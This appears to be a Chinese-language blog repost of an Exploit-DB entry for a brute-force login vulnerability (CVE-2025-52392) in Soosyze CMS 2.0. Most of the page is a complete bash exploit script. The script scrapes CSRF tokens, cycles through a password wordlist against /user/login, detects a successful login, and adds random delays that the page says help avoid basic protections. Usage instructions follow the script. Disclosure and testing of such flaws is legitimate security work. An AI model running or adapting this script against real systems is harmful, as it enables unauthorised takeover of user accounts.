Soosyze CMS 2.0暴力破解登录漏洞分析与利用

Soosyze CMS 2.0存在暴力破解登录漏洞,由于缺乏速率限制和账户锁定机制,攻击者可通过发送无限次登录请求尝试破解用户密码。本文提供完整的漏洞分析和利用脚本。

漏洞标题:Soosyze CMS 2.0 - 暴力破解登录 - 多Web应用漏洞利用

漏洞信息

  • EDB-ID: 52416
  • CVE: 2025-52392
  • 作者: Beatriz Fresno Naumova
  • 类型: webapps
  • 平台: Multiple
  • 日期: 2025-08-18

漏洞描述

Soosyze CMS 2.0允许通过/user/login路径进行暴力破解登录攻击,原因是缺少速率限制和账户锁定机制。攻击者可以使用已知的用户名/邮箱和密码字典提交无限次POST请求,可能获得未授权访问(CWE-307)。

漏洞利用脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env bash

set -euo pipefail

BASE_URL="http://localhost:8000"
LOGIN_PATH="/user/login"
EMAIL_FIELD="email"
PASS_FIELD="password"
TARGET_EMAIL="test@test.com"

WORDLIST_FILE="${1:-}"
DEFAULT_WORDS=("123456" "admin" "password" "qwerty" "letmein" "admin123" "password1")

form_url="$BASE_URL$LOGIN_PATH"
COOKIE_JAR="$(mktemp)"

get_form() {
    curl -sS -c "$COOKIE_JAR" -b "$COOKIE_JAR" "$form_url" > /tmp/login_page.html
}

extract_token() {
    local name value
    name=$(sed -nE 's/.*name="([_a-zA-Z0-9:-]*(token|csrf)[_a-zA-Z0-9:-]*)".*type="hidden".*/\1/p' /tmp/login_page.html | head -n1 || true)
    value=""
    if [[ -n "$name" ]]; then
        value=$(sed -nE "s/.*name=\"$name\".*value=\"([^\"]*)\".*/\1/p" /tmp/login_page.html | head -n1 || true)
    fi
    printf '%s\t%s\n' "$name" "$value"
}

post_login() {
    local pass="$1" tname="$2" tval="$3"
    curl -sS -o /tmp/resp.html -w "%{http_code}" \
        -c "$COOKIE_JAR" -b "$COOKIE_JAR" \
        -X POST "$form_url" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        -H "Origin: $BASE_URL" -H "Referer: $form_url" \
        --data-urlencode "$EMAIL_FIELD=$TARGET_EMAIL" \
        --data-urlencode "$PASS_FIELD=$pass" \
        $( [[ -n "$tname" && -n "$tval" ]] && printf -- '--data-urlencode %s=%s' "$tname" "$tval" )
}

echo "[*] Starting brute-force attack on $form_url"
[[ -n "$WORDLIST_FILE" && -r "$WORDLIST_FILE" ]] && mapfile -t words < "$WORDLIST_FILE" || words=("${DEFAULT_WORDS[@]}")

i=0
for pw in "${words[@]}"; do
    i=$((i+1))
    get_form
    IFS=$'\t' read -r TOKEN_NAME TOKEN_VALUE < <(extract_token)
    code=$(post_login "$pw" "$TOKEN_NAME" "$TOKEN_VALUE")

    if grep -q '"redirect"' /tmp/resp.html; then
        echo -e "[$i] Password found: '\e[1m$pw\e[0m' (HTTP $code)"
        break
    else
        echo "[$i] '$pw' (HTTP $code)"
    fi

    sleep 0.$((RANDOM%9+1))
done

rm -f "$COOKIE_JAR" /tmp/resp.html

测试环境

  • 测试系统: macOS Sonoma 14.x (Apple Silicon M1)
  • Shell环境: /bin/bash 3.2 & Homebrew bash 5.2
  • 工具版本: curl 8.x, BSD sed

使用说明

运行脚本时可选择提供自定义密码字典文件:

1
./script.sh [wordlist.txt]

如不提供字典文件,脚本将使用内置的默认密码字典。

技术细节

脚本通过以下步骤实现暴力破解:

  1. 获取登录页面并提取CSRF令牌
  2. 使用密码字典循环发送登录请求
  3. 检测重定向响应判断登录是否成功
  4. 添加随机延迟以避免触发基础防护机制
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计